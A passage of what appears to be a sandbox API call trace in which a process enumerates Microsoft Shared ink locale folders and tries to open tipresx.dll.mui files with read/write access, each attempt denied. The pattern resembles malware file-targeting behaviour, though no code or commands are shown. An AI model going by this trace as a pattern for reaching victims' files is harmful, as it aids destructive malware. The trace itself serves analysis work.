ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0168.786] GetProcessHeap () returned 0x2ef0000 [0168.786] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x284) returned 0x2f3e278 [0168.786] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.786] GetLastError () returned 0x5 [0168.786] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0168.786] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0168.786] GetProcessHeap () returned 0x2ef0000 [0168.787] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0168.787] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0168.787] GetProcessHeap () returned 0x2ef0000 [0168.787] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x82) returned 0x2f170e8 [0168.787] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0168.788] GetProcessHeap () returned 0x2ef0000 [0168.788] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170e8 | out: hHeap=0x2ef0000) returned 1 [0168.788] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.788] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0168.788] GetProcessHeap () returned 0x2ef0000 [0168.788] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x284) returned 0x2f3e278 [0168.788] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.789] GetLastError () returned 0x5 [0168.789] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0168.789] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0168.789] GetProcessHeap () returned 0x2ef0000 [0168.789] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0168.789] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0168.789] GetProcessHeap () returned 0x2ef0000 [0168.789] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x82) returned 0x2f170e8 [0168.789] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0168.790] GetProcessHeap () returned 0x2ef0000 [0168.790] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170e8 | out: hHeap=0x2ef0000) returned 1 [0168.790] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.790] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0168.790] GetProcessHeap () returned 0x2ef0000 [0168.790] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x284) returned 0x2f3e278 [0168.790] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.790] GetLastError () returned 0x5 [0168.790] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0168.790] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0168.790] GetProcessHeap () returned 0x2ef0000 [0168.790] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0168.790] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e22d6e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x69e22d6e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x3188e7b0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a0200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0168.790] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x472c5956, ftCreationTime.dwHighDateTime=0x1ca040e, ftLastAccessTime.dwLowDateTime=0xa4945a00, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x9fcc4285, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0168.790] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa12394d3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa12394d3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa125f634, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x179c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mip.exe", cAlternateFileName="")) returned 1 [0168.790] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ad46e47, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5ad46e47, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x344e2230, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x609c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mraut.dll", cAlternateFileName="")) returned 1 [0168.790] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66c00201, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x66c00201, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x34eb4c90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mshwgst.dll", cAlternateFileName="")) returned 1 [0168.790] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901e133e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x901e133e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x353c2bb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x105a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mshwLatin.dll", cAlternateFileName="")) returned 1 [0168.790] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0168.790] GetProcessHeap () returned 0x2ef0000 [0168.790] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x82) returned 0x2f170e8 [0168.790] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0168.791] GetProcessHeap () returned 0x2ef0000 [0168.791] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170e8 | out: hHeap=0x2ef0000) returned 1 [0168.791] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.791] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0168.791] GetProcessHeap () returned 0x2ef0000 [0168.791] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x284) returned 0x2f3e278 [0168.791] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.791] GetLastError () returned 0x5 [0168.791] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0168.791] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0168.791] GetProcessHeap () returned 0x2ef0000 [0168.792] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0168.792] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0168.792] GetProcessHeap () returned 0x2ef0000 [0168.792] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x82) returned 0x2f170e8 [0168.792] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0168.792] GetProcessHeap () returned 0x2ef0000 [0168.792] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170e8 | out: hHeap=0x2ef0000) returned 1 [0168.792] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.792] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0168.792] GetProcessHeap () returned 0x2ef0000 [0168.792] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x284) returned 0x2f3e278 [0168.792] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.793] GetLastError () returned 0x5 [0168.793] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0168.793] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0168.793] GetProcessHeap () returned 0x2ef0000 [0168.793] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0168.793] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0168.793] GetProcessHeap () returned 0x2ef0000 [0168.793] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x82) returned 0x2f170e8 [0168.793] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0168.794] GetProcessHeap () returned 0x2ef0000 [0168.794] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170e8 | out: hHeap=0x2ef0000) returned 1 [0168.794] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.794] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0168.794] GetProcessHeap () returned 0x2ef0000 [0168.794] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x284) returned 0x2f3e278 [0168.794] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.795] GetLastError () returned 0x5 [0168.795] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0168.795] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0168.796] GetProcessHeap () returned 0x2ef0000 [0168.796] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0168.796] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0168.796] GetProcessHeap () returned 0x2ef0000 [0168.796] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x82) returned 0x2f170e8 [0168.796] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0168.796] GetProcessHeap () returned 0x2ef0000 [0168.796] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170e8 | out: hHeap=0x2ef0000) returned 1 [0168.796] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, 